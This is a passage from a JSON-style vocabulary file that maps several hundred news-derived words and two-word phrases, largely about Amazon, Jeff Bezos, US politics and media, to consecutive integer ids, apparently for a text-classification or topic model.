\"evys1bk0\": 180721,\n  \"sampling love\": 180722,\n  \"copyright reuters\": 180723,\n  \"woodside\": 180724,\n  \"yorkers complaining\": 180725,\n  \"griffeth laura\": 180726,\n  \"treatments basic\": 180727,\n  \"continue simply\": 180728,\n  \"cheerleader oregon\": 180729,\n  \"claims inaccurate\": 180730,\n  \"key intelligence\": 180731,\n  \"separately consumer\": 180732,\n  \"founders divorce\": 180733,\n  \"interview reveals\": 180734,\n  \"package includes\": 180735,\n  \"greatness mayor\": 180736,\n  \"arabia names\": 180737,\n  \"bloomingdale bloomingdales\": 180738,\n  \"seeing incredible\": 180739,\n  \"deasy chief\": 180740,\n  \"immigration issue\": 180741,\n  \"thrones coming\": 180742,\n  \"trump vodka\": 180743,\n  \"ramsay\": 180744,\n  \"major step\": 180745,\n  \"market north\": 180746,\n  \"brand social\": 180747,\n  \"provider chases\": 180748,\n  \"reconciliation\": 180749,\n  \"dave dixon\": 180750,\n  \"story opinion\": 180751,\n  \"couldn sleep\": 180752,\n  \"killer snared\": 180753,\n  \"rising construction\": 180754,\n  \"mentions development\": 180755,\n  \"impending division\": 180756,\n  \"lynch strategists\": 180757,\n  \"longtime cloud\": 180758,\n  \"hut\": 180759,\n  \"unsavory\": 180760,\n  \"subscription streaming\": 180761,\n  \"ball love\": 180762,\n  \"related illnesses\": 180763,\n  \"senatepro\": 180764,\n  \"major airports\": 180765,\n  \"label goods\": 180766,\n  \"elections congress\": 180767,\n  \"editor bob\": 180768,\n  \"especially\": 180769,\n  \"tv series\": 180770,\n  \"certainly helpful\": 180771,\n  \"response reuters\": 180772,\n  \"nawazuddin siddiqui\": 180773,\n  \"higher initial\": 180774,\n  \"amazon bans\": 180775,\n  \"gov gavin\": 180776,\n  \"atlantic david\": 180777,\n  \"valley fraudster\": 180778,\n  \"ramping\": 180779,\n  \"times julian\": 180780,\n  \"leaked information\": 180781,\n  \"brexit divorce\": 180782,\n  \"customers trump\": 180783,\n  \"unprecedented events\": 180784,\n  \"mijente aims\": 180785,\n  \"crime writer\": 180786,\n  \"election ending\": 180787,\n  \"storing chilled\": 180788,\n  \"zealand south\": 180789,\n  \"emerging industries\": 180790,\n  \"whatsapp don\": 180791,\n  \"assad\": 180792,\n  \"comedy writer\": 180793,\n  \"world big\": 180794,\n  \"protective gloves\": 180795,\n  \"issue muckerman\": 180796,\n  \"drawn abundant\": 180797,\n  \"lyft black\": 180798,\n  \"reassured\": 180799,\n  \"laptop maker\": 180800,\n  \"democracy box\": 180801,\n  \"business giant\": 180802,\n  \"washington county\": 180803,\n  \"new portal\": 180804,\n  \"environmental impact\": 180805,\n  \"kindness challenge\": 180806,\n  \"thing crosstalk\": 180807,\n  \"reaction congress\": 180808,\n  \"shannon liss\": 180809,\n  \"bomb houston\": 180810,\n  \"governors serving\": 180811,\n  \"profile jeff\": 180812,\n  \"reliable communications\": 180813,\n  \"traci\": 180814,\n  \"fathers estate\": 180815,\n  \"pleasant\": 180816,\n  \"forfeit 153\": 180817,\n  \"value nearly\": 180818,\n  \"002 590\": 180819,\n  \"says universal\": 180820,\n  \"baku azerbaijan\": 180821,\n  \"times tables\": 180822,\n  \"children risk\": 180823,\n  \"coincidental daniel\": 180824,\n  \"research expects\": 180825,\n  \"based financial\": 180826,\n  \"reality sets\": 180827,\n  \"provided apple\": 180828,\n  \"arabia threatens\": 180829,\n  \"partners raises\": 180830,\n  \"kinder\": 180831,\n  \"brazil represents\": 180832,\n  \"removing conservative\": 180833,\n  \"deranged\": 180834,\n  \"long relied\": 180835,\n  \"solid underlying\": 180836,\n  \"marius conman\": 180837,\n  \"monk\": 180838,\n  \"adviser jared\": 180839,\n  \"promoting liberal\": 180840,\n  \"published fear\": 180841,\n  \"individually\": 180842,\n  \"portrays white\": 180843,\n  \"fall new\": 180844,\n  \"a0\": 180845,\n  \"pinging\": 180846,\n  \"fredrik backman\": 180847,\n  \"schitt\": 180848,\n  \"families\": 180849,\n  \"new kingdom\": 180850,\n  \"tenured professor\": 180851,\n  \"negotiated better\": 180852,\n  \"doesn hold\": 180853,\n  \"people make\": 180854,\n  \"incentive fund\": 180855,\n  \"enjoy picnic\": 180856,\n  \"increased revenue\": 180857,\n  \"trillium\": 180858,\n  \"amzn ipos\": 180859,\n  \"hoda kotb\": 180860,\n  \"architects\": 180861,\n  \"second wife\": 180862,\n  \"new retailer\": 180863,\n  \"kwan read\": 180864,\n  \"target usually\": 180865,\n  \"putin arrived\": 180866,\n  \"music albums\": 180867,\n  \"factsheets\": 180868,\n  \"reassess\": 180869,\n  \"republican federal\": 180870,\n  \"trump russian\": 180871,\n  \"hummus jonathan\": 180872,\n  \"sequitur\": 180873,\n  \"dropped going\": 180874,\n  \"hangover 2018\": 180875,\n  \"republican sen\": 180876,\n  \"taunts onlookers\": 180877,\n  \"versailles 1919\": 180878,\n  \"roseanne just\": 180879,\n  \"delivery model\": 180880,\n  \"cards yeah\": 180881,\n  \"voting shares\": 180882,\n  \"children data\": 180883,\n  \"insightful speakers\": 180884,\n  \"amc park\": 180885,\n  \"resulting unevenness\": 180886,\n  \"increasingly view\": 180887,\n  \"kaepernick collusion\": 180888,\n  \"privacy settlement\": 180889,\n  \"deal seth\": 180890,\n  \"killed black\": 180891,\n  \"better suited\": 180892,\n  \"bay\": 180893,\n  \"nasdaq entering\": 180894,\n  \"11s fake\": 180895,\n  \"nov 2017\": 180896,\n  \"prompting aws\": 180897,\n  \"executive jeff\": 180898,\n  \"practical state\": 180899,\n  \"mariah\": 180900,\n  \"just turned\": 180901,\n  \"markle post\": 180902,\n  \"german chancellor\": 180903,\n  \"creditors\": 180904,\n  \"term appointment\": 180905,\n  \"defeat fargo\": 180906,\n  \"bucket soap\": 180907,\n  \"book donald\": 180908,\n  \"lawsuit leaves\": 180909,\n  \"cost democrats\": 180910,\n  \"patents subsidies\": 180911,\n  \"reporter kaitlan\": 180912,\n  \"particular shipment\": 180913,\n  \"deserves half\": 180914,\n  \"church basement\": 180915,\n  \"air tv\": 180916,\n  \"broad product\": 180917,\n  \"poke fun\": 180918,\n  \"targeted david\": 180919,\n  \"padma lakshmi\": 180920,\n  \"segar\": 180921,\n  \"flagged truck\": 180922,\n  \"gadgets black\": 180923,\n  \"dominance eu\": 180924,\n  \"old school\": 180925,\n  \"noted run\": 180926,\n  \"overtly partisan\": 180927,\n  \"post publishing\": 180928,\n  \"shafer\": 180929,\n  \"modification won\": 180930,\n  \"disneyland resort\": 180931,\n  \"andy\": 180932,\n  \"market amazon\": 180933,\n  \"ordered mum\": 180934,\n  \"higher property\": 180935,\n  \"sales boom\": 180936,\n  \"media emphatically\": 180937,\n  \"viverito criticized\": 180938,\n  \"o2x j0\": 180939,\n  \"numbers consider\": 180940,\n  \"support south\": 180941,\n  \"remembering jonathan\": 180942,\n  \"greater amazon\": 180943,\n  \"brewing beer\": 180944,\n  \"present reasons\": 180945,\n  \"analysts q4\": 180946,\n  \"numerous recommendations\": 180947,\n  \"expanding apprenticeship\": 180948,\n  \"pine hill\": 180949,\n  \"amazon deal\": 180950,\n  \"monroeville\": 180951,\n  \"subcommittee\": 180952,\n  \"checked\": 180953,\n  \"squarespace opencart\": 180954,\n  \"quite soon\": 180955,\n  \"robocall firm\": 180956,\n  \"dept\": 180957,\n  \"fedex retail\": 180958,\n  \"early statement\": 180959,\n  \"billion really\": 180960,\n  \"selling especially\": 180961,\n  \"consultancy gist\": 180962,\n  \"contributed reporting\": 180963,\n  \"deny protests\": 180964,\n  \"perkins\": 180965,\n  \"prison sentence\": 180966,\n  \"cedes\": 180967,\n  \"confirmed deep\": 180968,\n  \"katie van\": 180969,\n  \"tips events\": 180970,\n  \"rourke says\": 180971,\n  \"lauren reportedly\": 180972,\n  \"boss sex\": 180973,\n  \"daytime\": 180974,\n  \"kept private\": 180975,\n  \"deficit alleging\": 180976,\n  \"california white\": 180977,\n  \"buzzsaw claudette\": 180978,\n  \"silver medal\": 180979,\n  \"nat\": 180980,\n  \"strangely historic\": 180981,\n  \"300x200 getty_478170176_388027\": 180982,\n  \"coalition depending\": 180983,\n  \"kumar communications\": 180984,\n  \"preferential hiring\": 180985,\n  \"middlemen want\": 180986,\n  \"chrysler michael\": 180987,\n  \"company expects\": 180988,\n  \"lucky generals\": 180989,\n  \"asia air\": 180990,\n  \"chris sanders\": 180991,\n  \"new license\": 180992,\n  \"moniker obviously\": 180993,\n  \"minimum corporate\": 180994,\n  \"uber investment\": 180995,\n  \"josep\": 180996,\n  \"ydanis independent\": 180997,\n  \"ratchet\": 180998,\n  \"competitor alibaba\": 180999,\n  \"saudi writer\": 181000,\n  \"email reveals\": 181001,\n  \"nation history\": 181002,\n  \"correctly assess\": 181003,\n  \"report indicates\": 181004,\n  \"paid subscription\": 181005,\n  \"measured tone\": 181006,\n  \"watch core\": 181007,\n  \"business mom\": 181008,\n  \"sharp objects\": 181009,\n  \"subtitled comments\": 181010,\n  \"shortly make\": 181011,\n  \"buddy picture\": 181012,\n  \"big things\": 181013,\n  \"specifically targeting\": 181014,\n  \"really changed\": 181015,\n  \"mom don\": 181016,\n  \"earning thumbs\": 181017,\n  \"cps special\": 181018,\n  \"colonial power\": 181019,\n  \"published controversial\": 181020,\n  \"base represents\": 181021,\n  \"2018 virtually\": 181022,\n  \"pregnant\": 181023,\n  \"cook zuckerberg\": 181024,\n  \"discrimination lawsuits\": 181025,\n  \"fairly strong\": 181026,\n  \"just received\": 181027,\n  \"year 93m\": 181028,\n  \"empower llc\": 181029,\n  \"facing international\": 181030,\n  \"company lofty\": 181031,\n  \"bread white\": 181032,\n  \"involve\": 181033,\n  \"asset management\": 181034,\n  \"parcel select\": 181035,\n  \"making nearly\": 181036,\n  \"mueller robert\": 181037,\n  \"notorious tabloid\": 181038,\n  \"downing street\": 181039,\n  \"utah republican\": 181040,\n  \"amplified considerably\": 181041,\n  \"colored brazilians\": 181042,\n  \"bearing\": 181043,\n  \"automatically installing\": 181044,\n  \"eggshells business\": 181045,\n  \"magazine wirtschaftswoche\": 181046,\n  \"stone advice\": 181047,\n  \"independent government\": 181048,\n  \"amazon expansion\": 181049,\n  \"haslam\": 181050,\n  \"expand gun\": 181051,\n  \"knows bezos\": 181052,\n  \"comments suggestions\": 181053,\n  \"fund costly\": 181054,\n  \"merrill williams\": 181055,\n  \"website items\": 181056,\n  \"agency pricing\": 181057,\n  \"given hall\": 181058,\n  \"sumner redstone\": 181059,\n  \"published photos\": 181060,\n  \"marketed definition\": 181061,\n  \"way consequently\": 181062,\n  \"ptsd flotus\": 181063,\n  \"alabamians\": 181064,\n  \"americans stopped\": 181065,\n  \"discourse gives\": 181066,\n  \"greenfield\": 181067,\n  \"margaret katranides\": 181068,\n  \"key points\": 181069,\n  \"unanimous consensus\": 181070,\n  \"lieutenant general\": 181071,\n  \"asian continent\": 181072,\n  \"sanctimonious\": 181073,\n  \"business agreement\": 181074,\n  \"mackenzie pushing\": 181075,\n  \"doesn reflect\": 181076,\n  \"whacky\": 181077,\n  \"house tour\": 181078,\n  \"crown jewel\": 181079,\n  \"england soccer\": 181080,\n  \"shames\": 181081,\n  \"campaign suggesting\": 181082,\n  \"showing photo\": 181083,\n  \"pubg\\u30e2\\u30d0\\u30a4\\u30eb pubgclips\": 181084,\n  \"abuse meeting\": 181085,\n  \"interrupted\": 181086,\n  \"ironman\": 181087,\n  \"hdr bosch\": 181088,\n  \"workers movement\": 181089,\n  \"usps loses\": 181090,\n  \"white places\": 181091,\n  \"te ching\": 181092,\n  \"quo economically\": 181093,\n  \"relocation\": 181094,\n  \"washington rubenstein\": 181095,\n  \"spending follows\": 181096,\n  \"prepares\": 181097,\n  \"360\": 181098,\n  \"magazine foodways\": 181099,\n  \"bmo capital\": 181100,\n  \"581\": 181101,\n  \"despite lot\": 181102,\n  \"company receive\": 181103,\n  \"pitfalls jackie\": 181104,\n  \"sun london\": 181105,\n  \"executive immigration\": 181106,\n  \"benefit losses\": 181107,\n  \"34852323 related\": 181108,\n  \"fro jeff\": 181109,\n  \"tax don\": 181110,\n  \"war peace\": 181111,\n  \"utah retirement\": 181112,\n  \"editor friede\": 181113,\n  \"choice hillary\": 181114,\n  \"explorer\": 181115,\n  \"knowledge integrity\": 181116,\n  \"minimisation\": 181117,\n  \"deportation plan\": 181118,\n  \"governments argues\": 181119,\n  \"eyebrow\": 181120,\n  \"3647 gounardes\": 181121,\n  \"herera today\": 181122,\n  \"florian\": 181123,\n  \"backers\": 181124,\n  \"418 marshall\": 181125,\n  \"uneasy relationship\": 181126,\n  \"border town\": 181127,\n  \"disregard amazon\": 181128,\n  \"beast families\": 181129,\n  \"allow cadaver\": 181130,\n  \"ib\": 181131,\n  \"separate facilities\": 181132,\n  \"cornwall succeeds\": 181133,\n  \"weakening public\": 181134,\n  \"price strategy\": 181135,\n  \"represents american\": 181136,\n  \"spinner_ containerid\": 181137,\n  \"function trump\": 181138,\n  \"van els\": 181139,\n  \"mouth netflix\": 181140,\n  \"sweetened\": 181141,\n  \"key dictum\": 181142,\n  \"headlinetext videocardcontents\": 181143,\n  \"booking billions\": 181144,\n  \"official estimate\": 181145,\n  \"fended\": 181146,\n  \"growth area\": 181147,\n  \"different degrees\": 181148,\n  \"billion days\": 181149,\n  \"club want\": 181150,\n  \"include planning\": 181151,\n  \"therapy\": 181152,\n  \"reports including\": 181153,\n  \"house fear\": 181154,\n  \"earlier bolsonaro\": 181155,\n  \"weightlessness\": 181156,\n  \"written blog\": 181157,\n  \"volz sen\": 181158,\n  \"reorganize\": 181159,\n  \"skaters circling\": 181160,\n  \"unsworth\": 181161,\n  \"told davie\": 181162,\n  \"real momentum\": 181163,\n  \"enquirer coordinated\": 181164,\n  \"journalism bezos\": 181165,\n  \"wilting\": 181166,\n  \"trump neuroses\": 181167,\n  \"twitter emilyelarsen\": 181168,\n  \"sanchez nether\": 181169,\n  \"asap\": 181170,\n  \"stayed home\": 181171,\n  \"rookie\": 181172,\n  \"jeff sessions\": 181173,\n  \"adaptive\": 181174,\n  \"background photo\": 181175,\n  \"think identify\": 181176,\n  \"en08u1mq6v\": 181177,\n  \"climate controlled\": 181178,\n  \"theory making\": 181179,\n  \"elections mean\": 181180,\n  \"lori hinnant\": 181181,\n  \"perceived edge\": 181182,\n  \"post signed\": 181183,\n  \"scares\": 181184,\n  \"anxieties\": 181185,\n  \"unfairly penalize\": 181186,\n  \"launch alliance\": 181187,\n  \"titled cigna\": 181188,\n  \"ipt clicked\": 181189,\n  \"irony did\": 181190,\n  \"trump barrage\": 181191,\n  \"easy\": 181192,\n  \"council members\": 181193,\n  \"uncanny\": 181194,\n  \"area related\": 181195,\n  \"launched project\": 181196,\n  \"minimize\": 181197,\n  \"reaction selyukh\": 181198,\n  \"jeff vandermeer\": 181199,\n  \"seen bezos\": 181200,\n  \"cnn width\": 181201,\n  \"aspirational\": 181202,\n  \"just divisive\": 181203,\n  \"says editors\": 181204,\n  \"aisne\": 181205,\n  \"dunn resignation\": 181206,\n  \"dillards\": 181207,\n  \"small scale\": 181208,\n  \"election democratic\": 181209,\n  \"uncooked materials\": 181210,\n  \"pyenson\": 181211,\n  \"cid\": 181212,\n  \"companies gov\": 181213,\n  \"getting solittle\": 181214,\n  \"promoting organics\": 181215,\n  \"trump photo\": 181216,\n  \"superior investor\": 181217,\n  \"geographic travel\": 181218,\n  \"time commerce\": 181219,\n  \"mandate\": 181220,\n  \"states sanders\": 181221,\n  \"1000 ways\": 181222,\n  \"profitable branches\": 181223,\n  \"kyl resigns\": 181224,\n  \"groups indigenous\": 181225,\n  \"meng legislation\": 181226,\n  \"businesswomen nurses\": 181227,\n  \"million legal\": 181228,\n  \"manafort president\": 181229,\n  \"market market\": 181230,\n  \"mel pfeiffer\": 181231,\n  \"final similarity\": 181232,\n  \"backed\": 181233,\n  \"old mom\": 181234,\n  \"empire center\": 181235,\n  \"president amit\": 181236,\n  \"face criminal\": 181237,\n  \"bankruptcy nearly\": 181238,\n  \"feverish\": 181239,\n  \"initially denied\": 181240,\n  \"art exhibition\": 181241,\n  \"nafta ii\": 181242,\n  \"combat antibiotic\": 181243,\n  \"personal romantic\": 181244,\n  \"slowing amazon\": 181245,\n  \"chairman pai\": 181246,\n  \"designs products\": 181247,\n  \"paletta\": 181248,\n  \"foes districts\": 181249,\n  \"fiercest\": 181250,\n  \"fraud reviews\": 181251,\n  \"joaquin valley\": 181252,\n  \"seattle having\": 181253,\n  \"potentially\": 181254,\n  \"force created\": 181255,\n  \"cause amazon\": 181256,\n  \"jocum youth\": 181257,\n  \"albertalli\": 181258,\n  \"midwestern malaise\": 181259,\n  \"leaving rural\": 181260,\n  \"finally reality\": 181261,\n  \"beltway\": 181262,\n  \"says cnbc\": 181263,\n  \"hectares 747\": 181264,\n  \"recently benefit\": 181265,\n  \"options traders\": 181266,\n  \"public good\": 181267,\n  \"agency detected\": 181268,\n  \"address rising\": 181269,\n  \"mtch\": 181270,\n  \"inspired tumble\": 181271,\n  \"annually charging\": 181272,\n  \"post losses\": 181273,\n  \"pricing structure\": 181274,\n  \"jobs worldwide\": 181275,\n  \"rates blaming\": 181276,\n  \"tax employers\": 181277,\n  \"overarching\": 181278,\n  \"amazon logistics\": 181279,\n  \"carpet taron\": 181280,\n  \"high set\": 181281,\n  \"price change\": 181282,\n  \"telling trump\": 181283,\n  \"executives believe\": 181284,\n  \"taunts\": 181285,\n  \"fairer trade\": 181286,\n  \"transactions figured\": 181287,\n  \"annoyance incidentally\": 181288,\n  \"stifel chief\": 181289,\n  \"sypha belnades\": 181290,\n  \"brain tumor\": 181291,\n  \"management released\": 181292,\n  \"new rate\": 181293,\n  \"new measures\": 181294,\n  \"hearing howorth\": 181295,\n  \"categories apparel\": 181296,\n  \"estate owners\": 181297,\n  \"b3x\": 181298,\n  \"followup\": 181299,\n  \"defaulted consumer\": 181300,\n  \"bonaventure\": 181301,\n  \"etiquette photo\": 181302,\n  \"internet today\": 181303,\n  \"simply miles\": 181304,\n  \"media surveillance\": 181305,\n  \"clean state\": 181306,\n  \"relocating\": 181307,\n  \"maze pumpkin\": 181308,\n  \"briefly plunged\": 181309,\n  \"recovery rate\": 181310,\n  \"state balances\": 181311,\n  \"superb\": 181312,\n  \"woodside queens\": 181313,\n  \"walmart microsoft\": 181314,\n  \"redistributed copied\": 181315,\n  \"45m shares\": 181316,\n  \"making game\": 181317,\n  \"effective treatments\": 181318,\n  \"discuss trade\": 181319,\n  \"index losses\": 181320,\n  \"escalating climate\": 181321,\n  \"recipient country\": 181322,\n  \"yard trash\": 181323,\n  \"william county\": 181324,\n  \"contends pen\": 181325,\n  \"conference aiming\": 181326,\n  \"double ellison\": 181327,\n  \"component intel\": 181328,\n  \"autoplayvideoexist true\": 181329,\n  \"impoverished\": 181330,\n  \"directly asked\": 181331,\n  \"time le\": 181332,\n  \"texas program\": 181333,\n  \"klein\": 181334,\n  \"station wamc\": 181335,\n  \"charming\": 181336,\n  \"sustain twitter\": 181337,\n  \"media impressions\": 181338,\n  \"evan perez\": 181339,\n  \"shares hit\": 181340,\n  \"tully\": 181341,\n  \"amaze\": 181342,\n  \"videodurationdivid\": 181343,\n  \"haphazard editorial\": 181344,\n  \"district borders\": 181345,\n  \"cnns\": 181346,\n  \"adragna ryan\": 181347,\n  \"savory slab\": 181348,\n  \"correspondence\": 181349,\n  \"kentucky request\": 181350,\n  \"extraordinary\": 181351,\n  \"people left\": 181352,\n  \"trade opening\": 181353,\n  \"ronald brownstein\": 181354,\n  \"maintenance street\": 181355,\n  \"burn click\": 181356,\n  \"pitch intruder\": 181357,\n  \"eerie\": 181358,\n  \"withdraws\": 181359,\n  \"took nearly\": 181360,\n  \"detains\": 181361,\n  \"increase blair\": 181362,\n  \"perfectly reasonable\": 181363,\n  \"tax doesn\": 181364,\n  \"500 index\": 181365,\n  \"kelly 179\": 181366,\n  \"maker new\": 181367,\n  \"khan director\": 181368,\n  \"backed space\": 181369,\n  \"accounts targeting\": 181370,\n  \"senate raising\": 181371,\n  \"progress hitting\": 181372,\n  \"procurement process\": 181373,\n  \"watched data\": 181374,\n  \"amazon staff\": 181375,\n  \"chain companies\": 181376,\n  \"online advertising\": 181377,\n  \"latest congress\": 181378,\n  \"famously acidic\": 181379,\n  \"reportedly printing\": 181380,\n  \"lauren eyster\": 181381,\n  \"government don\": 181382,\n  \"cities trump\": 181383,\n  \"says national\": 181384,\n  \"muppets\": 181385,\n  \"nada\": 181386,\n  \"almed\": 181387,\n  \"origin plans\": 181388,\n  \"neos therapeutics\": 181389,\n  \"chuckle citi\": 181390,\n  \"individual responsibility\": 181391,\n  \"entreaties\": 181392,\n  \"risks citing\": 181393,\n  \"b8\": 181394,\n  \"chain quite\": 181395,\n  \"spend\": 181396,\n  \"strongest example\": 181397,\n  \"amci aircraft\": 181398,\n  \"environmentalists\": 181399,\n  \"landmark address\": 181400,\n  \"composite dropped\": 181401,\n  \"netflix starring\": 181402,\n  \"extra cost\": 181403,\n  \"sebastian using\": 181404,\n  \"priced home\": 181405,\n  \"gives new\": 181406,\n  \"lover love\": 181407,\n  \"xi wants\": 181408,\n  \"maloney ny\": 181409,\n  \"cultural expressions\": 181410,\n  \"876 000\": 181411,\n  \"real way\": 181412,\n  \"concentrating\": 181413,\n  \"microscope usually\": 181414,\n  \"liberals hate\": 181415,\n  \"paloma faith\": 181416,\n  \"morrison announced\": 181417,\n  \"gowdy\": 181418,\n  \"gul voa\": 181419,\n  \"partners nader\": 181420,\n  \"facebook cost\": 181421,\n  \"plastics\": 181422,\n  \"act amazon\": 181423,\n  \"years critics\": 181424,\n  \"sales trump\": 181425,\n  \"channelhash server719399\": 181426,\n  \"clipped\": 181427,\n  \"mlb\": 181428,\n  \"aljazeera egypt\": 181429,\n  \"drama lost\": 181430,\n  \"social elites\": 181431,\n  \"alexa commands\": 181432,\n  \"consumers allow\": 181433,\n  \"aut_blurb\": 181434,\n  \"old executive\": 181435,\n  \"county representing\": 181436,\n  \"ofamazon\": 181437,\n  \"janine issues\": 181438,\n  \"senior equity\": 181439,\n  \"linsley\": 181440,\n  \"mention\": 181441,\n  \"emphasize\": 181442,\n  \"courier journal\": 181443,\n  \"correspondent walmart\": 181444,\n  \"separations msnbc\": 181445,\n  \"remain frosty\": 181446,\n  \"ray machines\": 181447,\n  \"cures\": 181448,\n  \"pixar\": 181449,\n  \"unit plan\": 181450,\n  \"resist hitting\": 181451,\n  \"custom\": 181452,\n  \"aides bad\": 181453,\n  \"color coordinated\": 181454,\n  \"invests heavily\": 181455,\n  \"new shephard\": 181456,\n  \"presidency motion\": 181457,\n  \"service notion\": 181458,\n  \"ma breakthrough\": 181459,\n  \"assorted\": 181460,\n  \"died later\": 181461,\n  \"murray character\": 181462,\n  \"kc 330\": 181463,\n  \"leave trail\": 181464,\n  \"equity mutual\": 181465,\n  \"morath weber\": 181466,\n  \"initially\": 181467,\n  \"amazon amasses\": 181468,\n  \"2016 file\": 181469,\n  \"732 000\": 181470,\n  \"unwound ms\": 181471,\n  \"adsbygoogle push\": 181472,\n  \"new paradigm\": 181473,\n  \"growth technology\": 181474,\n  \"j5q\": 181475,\n  \"254 pounds\": 181476,\n  \"valley lawyer\": 181477,\n  \"positive corporate\": 181478,\n  \"lap news\": 181479,\n  \"license rubenstein\": 181480,\n  \"black barbecue\": 181481,\n  \"d4\": 181482,\n  \"sanders violated\": 181483,\n  \"hq2 dec\": 181484,\n  \"books eat\": 181485,\n  \"told spanish\": 181486,\n  \"viewpoints earlier\": 181487,\n  \"wilder\": 181488,\n  \"wtf\": 181489,\n  \"policy responded\": 181490,\n  \"financial arrangement\": 181491,\n  \"business analysts\": 181492,\n  \"giants cut\": 181493,\n  \"china isn\": 181494,\n  \"unfairly suspended\": 181495,\n  \"initial public\": 181496,\n  \"stature dr\": 181497,\n  \"sciences buildings\": 181498,\n  \"turks\": 181499,\n  \"cbg\": 181500,\n  \"mean handout\": 181501,\n  \"funds love\": 181502,\n  \"emotional toll\": 181503,\n  \"development ramps\": 181504,\n  \"associated press\": 181505,\n  \"spell reported\": 181506,\n  \"vehicles drive\": 181507,\n  \"pullback alongside\": 181508,\n  \"new anthology\": 181509,\n  \"book gained\": 181510,\n  \"shutterstock amazon\": 181511,\n  \"conagra\": 181512,\n  \"twinpeaks pic\": 181513,\n  \"team writes\": 181514,\n  \"investors entrepreneurs\": 181515,\n  \"slashed\": 181516,\n  \"seen worries\": 181517,\n  \"cable covers\": 181518,\n  \"800 billion\": 181519,\n  \"copyright npr\": 181520,\n  \"norman rockwell\": 181521,\n  \"blew great\": 181522,\n  \"eastside overreaction\": 181523,\n  \"read instead\": 181524,\n  \"purchase wiped\": 181525,\n  \"presenter ms\": 181526,\n  \"hillary senate\": 181527,\n  \"standard poor\": 181528,\n  \"wicket victory\": 181529,\n  \"civilian government\": 181530,\n  \"yawners selfie\": 181531,\n  \"wapo attn\": 181532,\n  \"redeker senior\": 181533,\n  \"london stem\": 181534,\n  \"news votes\": 181535,\n  \"account consider\": 181536,\n  \"platforms facebook\": 181537,\n  \"wait playwright\": 181538,\n  \"financial reported\": 181539,\n  \"facebook user\": 181540,\n  \"emergencies hiking\": 181541,\n  \"news according\": 181542,\n  \"realty\": 181543,\n  \"npr\": 181544,\n  \"panel discussions\": 181545,\n  \"llcs\": 181546,\n  \"unknown cast\": 181547,\n  \"000 lower\": 181548,\n  \"infamous\": 181549,\n  \"leader melted\": 181550,\n  \"redesigned\": 181551,\n  \"poses job\": 181552,\n  \"depletion\": 181553,\n  \"1606et\": 181554,\n  \"department procurement\": 181555,\n  \"mcclatchy podcast\": 181556,\n  \"diane lansinger\": 181557,\n  \"deals rachel\": 181558,\n  \"latin\": 181559,\n  \"contrary\": 181560,\n  \"purchases president\": 181561,\n  \"futures pushed\": 181562,\n  \"meekly\": 181563,\n  \"2020 150\": 181564,\n  \"workers trump\": 181565,\n  \"post stories\": 181566,\n  \"headlines conclusions\": 181567,\n  \"patriotic duty\": 181568,\n  \"public rallying\": 181569,\n  \"collide right\": 181570,\n  \"provider right\": 181571,\n  \"20th\": 181572,\n  \"offered directly\": 181573,\n  \"wetherbee\": 181574,\n  \"making gun\": 181575,\n  \"netflix cancellation\": 181576,\n  \"nation 2018\": 181577,\n  \"marks teller\": 181578,\n  \"time congress\": 181579,\n  \"record skid\": 181580,\n  \"probe muddying\": 181581,\n  \"photo jose\": 181582,\n  \"atsocialmedia\": 181583,\n  \"rode\": 181584,\n  \"crisply\": 181585,\n  \"whereso\": 181586,\n  \"exceeded billion\": 181587,\n  \"oil city\": 181588,\n  \"media campaign\": 181589,\n  \"banning prominent\": 181590,\n  \"red flags\": 181591,\n  \"theamerican\": 181592,\n  \"need javascript\": 181593,\n  \"impressively\": 181594,\n  \"article37723967\": 181595,\n  \"defaming\": 181596,\n  \"placement\": 181597,\n  \"jobs politifact\": 181598,\n  \"program does\": 181599,\n  \"dollar cronk\": 181600,\n  \"michael karas\": 181601,\n  \"martin ap\": 181602,\n  \"maggienyt\": 181603,\n  \"couldn survive\": 181604,\n  \"indiana jones\": 181605,\n  \"lord begins\": 181606,\n  \"local level\": 181607,\n  \"stock sell\": 181608,\n  \"different figure\": 181609,\n  \"paid mcdougal\": 181610,\n  \"sunstein lays\": 181611,\n  \"repeatedly attacked\": 181612,\n  \"forecast kelly\": 181613,\n  \"open air\": 181614,\n  \"trump erroneously\": 181615,\n  \"laws trump\": 181616,\n  \"connecticut ___\": 181617,\n  \"streaming trump\": 181618,\n  \"porn actress\": 181619,\n  \"ron hubbard\": 181620,\n  \"apparatus\": 181621,\n  \"tumbling new\": 181622,\n  \"page glossy\": 181623,\n  \"fictional commander\": 181624,\n  \"2018 unlike\": 181625,\n  \"class coffee\": 181626,\n  \"warm vibes\": 181627,\n  \"specifically focused\": 181628,\n  \"laurene powell\": 181629,\n  \"000 loss\": 181630,\n  \"residents virginia\": 181631,\n  \"purpose vision\": 181632,\n  \"savages\": 181633,\n  \"hilarious options\": 181634,\n  \"save credibility\": 181635,\n  \"arsenal\": 181636,\n  \"contractual frustration\": 181637,\n  \"spot woodward\": 181638,\n  \"decided\": 181639,\n  \"city government\": 181640,\n  \"burdick\": 181641,\n  \"seattle company\": 181642,\n  \"company facebook\": 181643,\n  \"pressured usps\": 181644,\n  \"available legally\": 181645,\n  \"obvious pandering\": 181646,\n  \"separation tabloids\": 181647,\n  \"organization rate\": 181648,\n  \"wars acronym\": 181649,\n  \"conserve\": 181650,\n  \"lehrer marijuana\": 181651,\n  \"cuomo nixon\": 181652,\n  \"returning soldiers\": 181653,\n  \"send follow\": 181654,\n  \"scouts migrant\": 181655,\n  \"washington photo\": 181656,\n  \"devised\": 181657,\n  \"nearest individual\": 181658,\n  \"money bezos\": 181659,\n  \"aclu multiple\": 181660,\n  \"avoided having\": 181661,\n  \"demarcation industry\": 181662,\n  \"redemption\": 181663,\n  \"deeply involved\": 181664,\n  \"dhs\": 181665,\n  \"successful federal\": 181666,\n  \"adviser kathleen\": 181667,\n  \"watch roku\": 181668,\n  \"drown\": 181669,\n  \"genny\": 181670,\n  \"capitol forum\": 181671,\n  \"amazon using\": 181672,\n  \"acquisition wouldn\": 181673,\n  \"war fortunately\": 181674,\n  \"day gift\": 181675,\n  \"guadalajara cartel\": 181676,\n  \"giant carlyle\": 181677,\n  \"tracy\": 181678,\n  \"elemental guide\": 181679,\n  \"impose tax\": 181680,\n  \"successor jeff\": 181681,\n  \"smarter way\": 181682,\n  \"ongoing bromance\": 181683,\n  \"corporate giveaways\": 181684,\n  \"new technologies\": 181685,\n  \"stocks really\": 181686,\n  \"water dirty\": 181687,\n  \"heavy scrutiny\": 181688,\n  \"favoring\": 181689,\n  \"tax deals\": 181690,\n  \"index beating\": 181691,\n  \"newspaper detailing\": 181692,\n 